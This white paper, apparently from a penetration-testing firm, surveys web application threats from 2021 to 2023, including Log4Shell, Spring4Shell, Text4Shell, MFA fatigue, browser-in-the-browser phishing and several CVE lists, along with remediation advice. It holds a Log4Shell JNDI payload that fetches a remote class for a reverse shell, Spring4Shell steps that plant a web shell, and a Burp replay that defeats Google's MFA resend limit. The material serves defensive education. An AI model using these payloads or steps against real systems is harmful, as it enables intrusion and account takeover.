Contact Us

New Web Application Vulnerability Considerations (2021-2023)

Stay ahead of threats to safeguard your web applications and organization.
START READING

Introduction

Since OWASP last updated the OWASP Top Ten list on September 24th 2021, a few things have changed in the world of web application security. In the absence of a new and updated list from OWASP, it’s essential that newfound web-hacking techniques continue to be monitored and analyzed by ethical hacking professionals. The research and analysis of these vulnerabilities will benefit entire companies by providing a better understanding of a rapidly evolving threat landscape.

Companies are constantly developing, deploying, and adopting new web applications which utilize newly upgraded and efficient technologies/practices. However, in the world of cybersecurity, anything new or improved introduces new and improved vulnerabilities. To fully secure one’s organization, one must consider the security of both external and internal web applications. Hackers typically focus attacks on these applications and are hard at work discovering new web application vulnerabilities. Failure to secure these technologies may lead to the compromise of essential organizational assets.

In this paper, we analyze new or upgraded threats to web applications that arose from 2021-2023, and offer some insight into mitigating these threats. With this, our goal is to strengthen the conversation regarding security of web properties belonging to your organization. Although the focus of this paper is web application security, it is impossible to address this without touching upon API and Cloud security as well. Given the prevalence of these technologies across the web, their vulnerabilities are closely related to the security of web applications.

New Threats to Web Applications

Many of the threats discussed in this paper hinge on social engineering. Although attacks of this nature seem simple, it is important to understand how they are effective. A web application as well as anything is only as strong as its weakest link. Much of the time in security these happen to be vulnerable users who are not typically cautious on the web. 

Despite this, typical attacks like injection attacks and logic bypasses have been used in some interesting attacks that are worth mentioning.

Log4Shell

Discovered on November 24th, 2021, and patched on December 6th, 2021, the Log4Shell vulnerability was one of the biggest the security world has seen in years. Log4Shell was a zero-day vulnerability that abused a critical flaw in the Log4j logging library for Java. Awarded a 10 out of 10 severity score from the Common Vulnerability Scoring System (CVSS), this vulnerability would allow attackers full access to your system from anywhere in the world.

Any system running Apache Log4j versions 2.0 to 2.14.1 was/is at risk of falling victim to this injection attack that utilized Java Naming and Directory Interface (JNDI) Injection to allow for remote code execution (RCE). If a malicious message from an attacker is logged by a vulnerable Log4j version, the attacker may establish a connection to their own server using JNDI lookup. Effectively, this creates a reverse shell for an attacker by utilizing the vast support types of JNDI lookup (DNS, LDAP, RMI, IIOP).

Since Log4j is used by a wide variety of Java-based applications, this attack came to affect a great number of web applications (see Figure 1 for an example of a web application using Log4j). At the time of the vulnerability’s discovery, Apache Struts, Apache Solr, Apache Druid, Elastisearch, Apache Dubbo, and VMware vCenter were using a vulnerable version of Log4j. Therefore, at the time, any web application using any of these tools may have been hit by this attack.

Luckily, Log4Shell has lost its prevalence due to being patched shortly after it was discovered. However, it has not disappeared entirely, due to the negligence of certain organizations to maintain updated libraries or software. Any web application that failed to update Log4j or the associated software that uses Log4j is still at risk of being taken over. If your machine is compromised, an attacker may carry out any number of malicious activities on the machine, ranging from minor to severe, depending on your environment. For this reason, remediation steps should be taken for affected machines as soon as possible before potential consequences are met.

Figure 1. Web applications may use Log4j by passing user input to a vulnerable log4j library. If user input contains malicious exploit strings, the system itself may be at risk.

Remediation

To avoid falling victim to this attack, organizations must ensure that no outdated versions of Log4j are in use by their systems. For web applications, the presence of a vulnerable Log4j library can easily be revealed by running a source code review. If this review does not discover an outdated Log4j library and Log4j is currently in use, a penetration test of the application may be beneficial to the organization.

Examples

Generally, upon identifying a vulnerable input in a web application, Log4Shell payloads have a set anatomy. The payloads that Log4Shell attacks use come in the following format 
				
					${jndi:[protocol]://[remote server and code address]}

In order to identify vulnerable inputs, a tool like log4j-scan can be used. Much like any vulnerability, there are also WAF bypass strings available to assist in carrying out the Log4Shell attack. Some example payloads with their functions are provided below.

Example payloads

* In this context, PoC represents a Proof of Concept *
  • Enumerate Java version and hostname
java-code
  • Bypass WAF
bypass-code
  • Exfiltrate environment variables
eev-code
To use Log4Shell to establish a reverse shell, a user must have a malicious Java class within a self-hosted LDAP server. Using Log4Shell, an attacker will request the malicious class from their LDAP server. When the victim server runs the class, a reverse shell will be established. See below for a demo of this workflow.
Gif, demonstrating a PoC where the user obtains a reverse shell by exploiting a vulnerable version of Log4j.
Figure2. Demonstrating a PoC where the user obtains a reverse shell by exploiting a vulnerable version of Log4j. The payload ${jdni:ldap://localhost:1389/a} fetches the Java Class Exploit.class from an LDAP server that is controlled by the attacker. The malicious server returns Exploit.class which establishes a reverse shell when the class is loaded by the server.
Anatomy of Java class sent to vulnerable machine that establishes reverse shell.
Figure 3. Anatomy of Java class sent to vulnerable machine that establishes reverse shell.

The PoC shown here was provided by the Github user @kozmer.

MFA Fatigue Attack (MFA Bombing)

When talking about hacking techniques, many focus on the technical and flashy techniques that require deep skill and knowledge. However, in recent years a bypass for multi-factor authentication (MFA) has been discovered that is shockingly simple. An MFA fatigue attack is a social engineering cyberattack strategy where a user is bombarded by MFA push requests to their MFA application of choice.

This strategy requires an attacker to have access to a valid set of user credentials. Although these credentials are correct, an attacker attacking a well-secured application will still require MFA approval. To trick the user into making this approval, the attacker will repeatedly send approval requests to the user’s phone. Ultimately, this attack relies on the fact that the device user will approve the MFA request in a desperate attempt to stop the flood of requests.

In a world where many people need quick access to their phones, this attack is becoming more and more feasible; however, this attack is simple to prevent. If organizations want a secure MFA policy in place, they may want to follow some of the following guidelines.

Remediation

Add additional checks to your MFA authentication process. This could include the following:

  • Geolocation requirements: by checking the user’s geolocation on top of push notifications, an attacker would have to know the geolocation of the user they are attacking. This makes the attack less likely to be successful as malicious attacks will be identified at a quicker pace.
  • Biometric requirements: there are many biometric solutions to authentication that may be applied to create a highly secure MFA process. Currently, there are ways to utilize the user’s face, voice, fingerprints and even the iris of their eyes for biometric authentication. Many applications today allow face-ID as a valid form of authentication, especially for banking applications.

  • *DISCLAIMER: There are many reasons why biometrics may not suit your security needs. One reason for this is that law enforcement may compel people to use biometrics authentication. If you are arrested, police officers have the authority to demand that you unlock your mobile phone using biometrics. Another reason to be wary of biometric authentication is due to the fact that this data can be used in government surveillance efforts. Most world governments are trying to establish policies that will allow for them to use/receive biometric data without a warrant and without notice or warning. This may leave all biometric data open to a government despite the private nature of this data.*

  • Device requirements: it may be effective to simply analyze a user’s typical device usage, looking at their user agent before allowing a push notification to be sent. User agents can be easily spoofed however, and this is typically less secure than the other two options.

If these fixes are not satisfactory, it may be prudent to evaluate if using push notifications are worthwhile for long term usage. By far the quickest solution to this issue would be to disable push notifications as a verification method for MFA. If users complain about alternatives to this method, then a more long-term solution like the ones described above may be more favorable.

Examples

Screencapture of a flood of Microsoft Authenticator requests being sent to a phone’s lock screen.
Figure 4. The Microsoft Authenticator notification on a phone that allows for MFA. Imagine a non-stop flood of these requests being sent to your phone. Unless these notifications are turned off like the screenshot shows, they will continue to flood your phone.
Figure 4.1. Demonstrating the appearance of a MFA Fatigue attack for Google.
Figure 4.1. Demonstrating the appearance of a MFA Fatigue attack for Google.

While researching this attack, I found that Microsoft and Google themselves do not protect their users from this attack occurring. It was shockingly easy to flood a known user’s phone with MFA requests (Figure 4 and 4.1).

Instead of preventing a flood of requests, Microsoft opted to implement number matching as a solution. This requires a user to press the number that appears on their screen (out of three options) to ensure they are making the MFA requests. Because there are three options for numbers, there is effectively a one third chance that a user could fall victim to this attack while it’s happening. Google on the other hand has implemented a front-end “protection” mechanism that disallows users from spamming a resend button (Figure 4.2). However, this is easily circumvented using a proxy and simply repeating the request to authenticate (Figure 4.3).

Screencapture of the Google 2-Step verification screen.
Figure 4.2 Google blocks a user from using the “Resend it” button multiple times. However this is easily circumvented.
By using Burpsuite, a user can capture the request to send a sign in challenge and repeat it an unlimited number of times.
Figure 4.3. By using Burpsuite, a user can capture the request to send a sign in challenge and repeat it an unlimited number of times.

Browser-in-the-Browser (BitB) Attack

The browser-in-the-browser attack is a fairly new phishing technique that tricks a user into leaking their credentials to a “secure” source. This attack simulates a login window with a spoofed domain inside of a parent window to trick a user into typing in their credentials (see Figure 5). In this attack, the user thinks they are entering their credentials to a known location (say Gmail or Microsoft) within a windowed browser. Once the user submits their credentials, they are as good as gone.

This attack is scary as there’s no clear way to solve the issue. Once again, this attack relies on the knowledge and caution of an everyday user within the organization to fail (which it usually will). Employees are focused on convenience, not security, which is why organizations need to educate on cyber attack awareness. There are some quick ways for users to dispel worries about a BitB attack happening to them that will be discussed in the remediation section.

Although there’s no great remediation technique to fully prevent this attack from occurring there are a few things that can make an attacker’s life harder.

Remediation

Since this attack does not directly affect your organization’s web applications, it’s difficult to find a clear-cut solution to this problem. There are ways, however, by which we can mitigate the risk that this clever phishing technique presents. The first of these mitigation techniques would be to employ an MFA policy for any users/groups you wish to protect from this attack.

The second mitigation technique for preventing this attack is simply educating users so that they don’t fall victim to phishing. With the BiTB attack, a user can easily detect if they’re being attacked by dragging the browser-in-the-browser to the edge of the current window. If the browser-in-the-browser cannot escape the current browser window, then it’s not a real window.

So, although this attack does not arise from your organization’s web applications, it is an attack that should be considered as a threat. Taking these steps to mitigate the risk of this attack occurring to your customers is essential for your organization. Any programs that educate employees/customers on cyber security threats should now include discussions of BitB attacks.

It’s worth noting that @odacavo on GitHub has released a browser extension for detecting embedded iframes. This can be utilized by employees/customers to greatly reduce the threat of phishing attacks.

Find the browser extension here.

Examples

Simulation of a BitB attack, showing an iframe within a page, being made to look like a Safari browser window.
Figure 5. This image demonstrates a BitB attack. Currently, the page is hosting http://example.com within an iframe. This iframe is made to look like a Safari browser window that is hosting https://Microsoft.com/login. Attackers may use known URLs of their choice for either the spoofed domain or the domain hosted within the iframe.
GitHub user @mrd0x’s templates for BitB attacks.
Figure 6. GitHub user @mrd0x has released templates for BitB attacks. These templates utilize iframes to disguise a malicious website as a trusted one. This malicious website is also posed as a browser window within another browser window to successfully trick users.
Find the templates for BitB attacks here.

Spring4Shell

Spring4Shell is a critical vulnerability in the Spring Framework announced by Spring on March 31st, 2022. This vulnerability affects Spring Framework versions before 5.2.20, 5.3.18 and JDK version 9 or higher. Specifically, any components using @RequestMapping annotation and Plain Old Java Object parameters while meeting the above requirements are vulnerable. To see if your Spring MVC or Spring WebFlux application is at risk, see the example section below.

Named similarly to Log4Shell, Spring4Shell is quite a bit more technical and far less dangerous than Log4Shell was — dangerous in the sense that it has so far affected far fewer organizations given its very specific requirements for exploitation (see Figure 8). Ultimately, Spring4Shell is much like Log4Shell in function as they are both remote code execution vulnerabilities related to Java. See Figure 7 for a high-level overview of how the Spring4Shell attack works. For more technical details surrounding Spring4Shell, please see the Example section below.

If not already addressed, organizations using the Spring framework should take remediation steps as soon as possible. Much like Log4Shell, the remediation process to avoid exposure to Spring4Shell is very simple. Neglecting to properly evaluate and update assets using the Spring Framework may lead to losses.

high-level overview of how the Spring4Shell attack works
Figure 7. This is a high-level overview of how the Spring4Shell attack works. In nature it is the same as Log4Shell; in practice and execution it is a bit more complex.

Remediation

If you are currently using the Spring framework, the following are known remediation techniques to prevent Spring4Shell attacks
  • Upgrade Spring to the non-vulnerable 5.2.20 or 5.3.18 version.
  • Upgrade Apache Tomcat to the non-vulnerable 10.0.20, 9.0.62 or 8.5.78 version.
  • Downgrade to an older edition of Java (any edition below version 9).
The current versions of spring-webmvc and spring-webflux should be present if in use by assets as well.

Examples

For your Spring Framework application to be considered truly vulnerable to Spring4Shell, the following conditions must be met (see Figure 8).
Detailing the requirements an application must meet to be considered vulnerable to Spring4Shell.
Figure 8. Detailing the requirements an application must meet to be considered vulnerable to Spring4Shell.

The Spring4Shell attack works because the Spring Framework exposes the class member of objects that are bound to query parameters. Because the Spring Framework exposes the class object and does not sufficiently restrict the accessible getter methods, the Spring4Shell vulnerability arises.

For the PoC shown below, the following process is carried out to gain a web shell to the vulnerable Spring server. This process involves a series of POST requests that modify Spring code on the backend server. Each step of the process is completed through a POST request that includes the discussed payload.

  1. Overwrite the Tomcat Logging Directory: Attackers can use a POST request that overwrites the directory where Tomcat logging files are stored on the server. In the PoC, this payload is stored in the log_file_dir variable
    (see Figure 9).
  2. Set the prefix and suffix of the file for storage on the server: Setting the prefix and suffix allow for the file to be located once uploaded to the server. In the PoC, these payloads are stored in the log_file_prefix and log_file_suffix variables.
  3. Write payload into the created file: Once the files are stored by the server, the contents of the file must be stored within the file. In the PoC, the payload for writing to the file is stored in the log_pattern file.
  4. Set the fileDateFormat to an empty string: For this attack to work, the fileDateFormat field must be empty for the newly created file. In the PoC, the payload for setting the fileDateFormat to null is stored in the log_file_date_format variable.
  5. Remotely call the created shell.jsp file: After the series of POST requests are made to the Spring application, the attacker can now access the ‘shell.jsp’ file which contains a web shell. This web shell can be used to carry out a series of malicious attacks against the application’s machine.
Main function of exploit.py that carries out the Spring4Shell attack.
Figure 9. Main function of exploit.py that carries out the Spring4Shell attack.
Running exploit.py against the vulnerable web server allows for the upload of a web shell.
Running exploit.py against the vulnerable web server allows for the upload of a web shell.
Figures 10 + 11. Running exploit.py against the vulnerable web server allows for the upload of a web shell. This web shell can then be visited on the /shell.jsp endpoint and controlled using the cmd query parameter. Given this is an RCE attack, the possibilities for PoCs are endless.

The PoC shown here was provided by the Github user @reznok and can be found here.

Updated Threats to Web Applications

Since the release of the OWASP Top 10 in 2021, there have been a considerable number of new and interesting attacks carried out against web applications. Most of these attacks are variations on existing attack vectors that affect web applications. Although these attacks are not the main focus of this paper, there are a few notable attacks from 2021-2023 that are worth highlighting here.

WordPress Plugin Vulnerabilities

As is always the case with WordPress, several new plugins have critical vulnerabilities that have arisen in the time between 2021 and 2023. These vulnerabilities vary in impact and which plugin they affect. In order to effectively roundup and highlight these vulnerabilities we have compiled a list.

The list is as follows:

  • Elementor Pro Plugin: Broken access control vulnerability that could allow for a full site takeover. Affects Elementor Pro versions <=3.11.6. Read more about the vulnerability here.
  • Essential Addons for Elementor: This is a privilege escalation vulnerability that allows attackers to reset any arbitrary user’s passwords. Affects Essential Addons versions < 5.7.1. This vulnerability was assigned the CVE-ID of CVE-2023-32243.
  • WPGateway Plugin: This is a privilege escalation vulnerability that allows attackers to create malicious administrators within WPGateway. Affects WPGateway versions <= 3.5. This vulnerability was assigned the CVE-ID of CVE-2022-3180.
  • Advanced Custom Fields: This is a reflected Cross-Site Scripting (XSS) vulnerability that could be abused to inject arbitrary executable scripts into benign websites. Affects Advanced Custom Fields versions <= 6.1.5. This vulnerability was assigned the CVE-ID of CVE-2023-30777.
  • WooCommerce Stripe Gateway: This is an insecure direct object referencing (IDOR) vulnerability that may allow for unauthorized disclosure of sensitive information. Affects WooCommerce Stripe Gateway versions <= 7.4.0. This vulnerability was assigned the CVE-ID of CVE-2023-34000.
  • Ultimate Member: This is a privilege escalation vulnerability that may allow attackers to create new user accounts with administrative privileges. Affects Ultimate Member versions < 2.6.7. This vulnerability was assigned the CVE-ID of CVE-2023-3460.
  • BackupBuddy: This is a directory traversal vulnerability that may allow an attacker access to sensitive files from vulnerable sites. Affects BackupBuddy versions 8.5.8.0 – 8.7.4.1. This vulnerability was assigned the CVE-ID of CVE-2022-31474.

It is recommended that these plugins are immediately updated if in use by your organization. It’s important to regularly update all technologies in use by your organization to avoid CVEs like above. If you’re unsure whether or not these technologies are in use by your organization, a formal penetration testing process can identify if this is the case.

MOVEit Transfer Critical Vulnerabilities

Since early June, the MOVEit Transfer managed file transfer web application has been a victim of mass attack carried out by skilled hackers. These attacks range in severity but have all had dramatic impact on the MOVEit Transfer web application as a whole. In order to effectively communicate the vulnerabilities affecting the MOVEit Transfer application, we have compiled them in a list here.

The list is as follows:

  • CVE-2023-34362: Affects versions before 13.0.6, 13.1.4, 14.0.4, 14.1.5 and 15.0.1. This SQL injection vulnerability affects MOVEit Transfer web applications and could allow an unauthenticated attacker to gain access to MOVEit Transfer’s databases.
  • CVE-2023-35036: Affects versions before 13.0.7, 13.1.5, 14.0.5, 14.1.6, 15.0.2. Another SQL injection vulnerability affects MOVEit Transfer web applications and could result in modification and disclosure of MOVEit database content.
  • CVE-2023-35708: Affects versions before 13.0.8, 13.1.6, 14.0.6, 14.1.7, and 15.0.3. Another SQL injection vulnerability affects MOVEit Transfer web applications and could result in modification and disclosure of MOVEit database content.
  • CVE-2023-36932: Affects versions before 12.1.11, 13.0.9, 13.1.7, 14.0.7, 14.1.8 ,and 15.0.4. A denial of service attack that involves an attacker invoking a method that results in an unhandled exception. Triggering this workflow can cause the MOVEit Transfer application to terminate unexpectedly.
  • CVE-2023-36933: Affects versions before 13.0.9, 13.1.7, 14.0.7, 14.1.8, and 15.0.4. Another SQL injection vulnerability affects MOVEit Transfer web applications and could allow an unauthenticated attacker to gain access to MOVEit Transfer’s databases.
  • CVE-2023-36934: Affects versions before 12.1.11, 13.0.9, 13.1.7, 14.0.7, 14.1.8. Another SQL injection vulnerability affects MOVEit Transfer web applications and could result in modification and disclosure of MOVEit database content.

Much can be learned from the following set of CVEs related to the MOVEit Transfer web applications. Specifically, the continued attacks against the MOVEit Transfer web applications highlight the constant threat that exists for web applications. Although an organization may address one instance of a problem, they may not adequately address other instances. Even more common, an organization may fix a vulnerability and have it arise again when adding new features to their application. No matter what, your organization’s web properties are only ever temporarily secure. In order to ensure that your organization’s applications stay secure, a recurring formal penetration test is necessary. Integrating penetration testing into your SDLC is a great solution for this.

OAuth Vulnerabilities

Since the end of 2021, there have been a couple of interesting attacks concerning OAuth that are worth highlighting in this section. Because OAuth is such a widely used service, any vulnerabilities affecting it should be paid close attention to. Given the nature of cybersecurity, these attack patterns may arise again in the future especially within OAuth. Since there have been a number of attacks against OAuth since the end of 2021, we have compiled all CVEs in a list below.

The list is as follows:

  • CVE-2023-28131: Affects versions < 48.0.0, this is an account hijacking vulnerability that relies on phishing. Once a user clicks a malicious link, the attacker gains access to their credentials. This is only on web applications that configure the “Expo AuthSession RedirectProxy” for social sign-in.
  • CVE-2023-31999: Affects all versions of @fastify/oauth2, this Cross-Site Request Forgery finding arises due to the OAuth state not being unique for each user. Upgrade to v7.2.0 for fix.
  • CVE-2023-3128: Affects all versions of Grafana between 6.7.0 and 9.5.4. This account hijacking vulnerability arises due to Grafana validating Azure AD accounts based on the e-mail claim. An attacker may easily spoof this claim and gain access to a user’s account.
  • CVE-2023-34246: Affects versions of Doorkeeper (OAuth provider for Ruby on Rails) prior to v5.6.6. This improper authentication vulnerability arises due to Doorkeeper automatically processing authorization without user consent. This affects only known public clients however, this leaves them vulnerable to impersonation as their identity cannot be assured.
  • CVE-2023-33941: Affects LifeRay Portal versions 7.4.3.41 through 7.4.3.52. This injection vulnerability allows attackers to inject arbitrary web scripts or HTML via code or error parameters.
  • CVE-2023-33006: Affects Jenkins WSO2 Oauth plugin versions before v1.0. This cross-site request forgery (CSRF) vulnerability allows attackers to trick users into logging into the attacker’s account.
  • CVE-2023-1093: Affects OAuth Single Sign On WordPress plugin versions < 6.24.2. This cross-site request forgery vulnerability allows an attacker to make logged in admins delete all IdP (identity providers).
  • CVE-2022-38488: Affects logrocket-oauth2-example through 2020-05-27. Allows SQL injection through the auth/register username parameter.
  • CVE-2022-36087: Affects OAuthLib versions 3.1.1 until 3.2.2. This denial of service attack allows an attacker to provide malicious redirect uris that cause denial of service. There are no known workarounds.
  • CVE-2022-3926: Affects WP OAuth Server WordPress plugin versions prior to 3.4.2. This cross-site request forgery vulnerability allows attackers to make logged in admins regenerate the secret of an arbitrary client given they know the client ID.
  • CVE-2022-2133: Affects OAuth Single SIgn On WordPress plugin before 6.22.6. This improper authentication vulnerability allows an attacker to log onto the site with only the knowledge of a user’s email address.

OAuth is used by a wide majority of web applications today and therefore it’s necessary to stay up to date on its latest vulnerabilities. Many of these vulnerabilities arise due to mistakes of large organization’s in their usage of OAuth. Security in OAuth is shared between OAuth and your organization, which is why it’s essential to ensure that OAuth is being used securely. If you are using OAuth and are unsure whether this is true, a formal penetration testing process is recommended.

On top of these CVEs please see Frans Rosén’s research on OAuth vulnerabilities in his 2022 paper, “Account hijacking using “dirty dancing” in sign-in OAuth-flows”.

Prototype Pollution

Another known vulnerability that has been applied effectively by hackers since the end of 2021 is prototype pollution. In fact, prototype pollution has become such a problem that even browsers are attempting to mitigate its influence. Prototype pollution is a quickly growing attack vector that has had an extremely large amount of CVEs since the end of 2021. For this reason, it would be impossible to highlight every CVE related to it in this paper. For this reason we have compiled a list of our favorite occurrences below. To see the entire list of CVEs regarding prototype pollution, see here.

Our favorite occurrences of Prototype Pollution are as follows:

  • CVE-2022-25904: All versions of package safe-eval are vulnerable to prototype pollution which allows an attacker to modify properties of the Object.prototype.Consolidate when using the function safeEval.
  • CVE-2023-36665: Affects protobuf.js versions 6.10.0 through 7.x before 7.2.4. This prototype pollution vulnerability can be used by an attacker to overwrite data and functions.
  • CVE-2023-26121: All versions of the package safeEval are vulnerable to Sandbox Bypass due to improper input sanitization. This vulnerability is derived from the prototype pollution exploitation.
  • CVE-2023-26122: All versions of the package safeEval are vulnerable to Prototype Pollution through the safeEval function due to improper sanitization of its parameter content.

Since this attack has gained some popularity in recent years, there have been a number of great articles written on the subject. Below we have compiled a list containing a few of our favorite news articles and research pieces that touch upon prototype pollution.

The list is as follows:

Text4Shell

Given the official CVE-ID of CVE-2022-42889, this vulnerability is similar to Log4Shell in that the issue is rooted in the manner of string substitutions (see Figure 12 for an overview of how it works). The only difference between Log4Shell and Text4Shell is that Text4Shell requires an application to be using an outdated version of the Apache Commons Text Java Library. Specifically, any web applications using Apache Commons Text versions 1.5 through 1.9 are at risk of this attack.

A diagram showing the general overview of how Text4Shell vulnerability functions. Very similar to Log4Shell in functionality.
Figure 12. A diagram showing the general overview of how Text4Shell vulnerability functions. Very similar to Log4Shell in functionality.
Any organization using Apache Commons Text in their web applications should undergo a formal penetration testing process to ensure they are no longer at risk of this attack. In order to illustrate the capabilities of this attack, we have demonstrated its working in a PoC (proof of concept) below.

Example

The payload is sent to the vulnerable application that uses Apache Commons Text.
Figure 13. The payload is sent to the vulnerable application that uses Apache Commons Text.
Figure 14. Confirming that file foo was created under directory /tmp.

Honorable Mentions

Every day a new CVE is published and every day another CVE is patched. That being said, there are simply too many unique and new attack patterns to cover in this paper. Below we’ve compiled a list of some interesting CVEs and research pieces that caught our attention since the end of 2021.

  • CVE-2023-23397: Microsoft Outlook Elevation of Privilege Vulnerability
  • CVE-2023-28858: Redis-py leaves a connection open after canceling an async Redis command at an inopportune time.
  • CVE-2023-27524: Session Validation attack in Apache Superset.
  • CVE-2023-27350: Authentication Bypass attack affecting PaperCut NG 22.0.5.
  • CVE-2022-41328: An improper limitation of pathname to a restricted directory vulnerability within Fortinet FortiOS.
  • CVE-2023-26360: Improper Access Control vulnerability within Adobe ColdFusion.
  • CVE-2023-28859: Redis-py leaves a connection open after canceling an async Redis command at an inopportune time.

Resources

National Vulnerability Database

Common Weakness Enumeration

CVEs Published in 2021

CVEs Published in 2022

CVEs Published in 2023

Top 10 Web Hacking Techniques of 2021

Top 10 Web Hacking Techniques of 2022

CWE Top 25 Most Dangerous Software Weaknesses (2023)

Cloud Related Web Application Threats

Cloud usage now is probably the highest it’s ever been worldwide. Almost every major web application in use by organizations has some connection to a cloud service. No matter your cloud service provider, it is imperative that your organization’s cloud is fully secured.

Luckily, OWASP is currently working on formulating a Cloud Security Top 10 that should guide an organization’s cloud security process. Since the list is still being formulated, it should not be the only driving force behind your organization’s cloud security process. However it is worthwhile to pay attention to the risks and their placement on the drafted Cloud Security Top 10 list.

Currently, the top ten threats to the Cloud (from highest to lowest) are the following:

  • Insecure cloud, container, or orchestration configuration
  • Injection flaws (app layer, cloud events, cloud services)
  • Improper authentication & authorization
  • CI/CD Pipeline & software supply chain flaws
  • Insecure Secrets Storage
  • Over-permissive or insecure network policies
  • Using components with known vulnerabilities
  • Improper Assets Management
  • Inadequate ‘compute’ resource quota limits
  • Ineffective logging & monitoring (e.g. runtime activity)

To fully evaluate the security of your cloud services a formal penetration testing process is recommended where applicable. These services are offered by Exfil Security and available on our site.

API Related Web Application Threats

Although APIs have been used alongside web applications for a while now, their capabilities are growing rapidly. Currently, many vulnerabilities affecting web applications are a result of poorly configured APIs. Luckily, as of July 3rd, 2023, OWASP has released the OWASP API Security Top 10 which should offer full guidance on securing APIs.

Many of the top vulnerabilities affecting APIs are easy to exploit and easy to fix. Currently API1:2023 is Broken Object Level Authorization much like how broken access control plagues web apps. To successfully secure your APIs, please utilize this newly published resource as guidance.

Currently, the top ten threats to APIs (from highest to lowest) are the following:

  • Broken Object Level Authorization
  • Broken Authentication
  • Broken Object Property Level Authorization
  • Unrestricted Resource Consumption
  • Broken Function Level Authorization
  • Unrestricted Access to Sensitive Business Flows
  • Server-Side Request Forgery
  • Security Misconfiguration
  • Improper Inventory Management
  • Unsafe Consumption of APIs

To fully evaluate the security of your APIs, we recommend a formal penetration testing process. These services are offered by Exfil Security and available on our site.

Conclusion

In security, “knowing is half the battle,” so remaining up-to-date on newfound vulnerabilities and attack vectors is of the utmost importance. Knowledge is the first step to securing your web applications and your organization. Because these web applications are normally externally facing, they’re of great interest to attackers — and attackers never quit. As an organization it is your responsibility to ensure that these attackers cannot win using these or any other known techniques.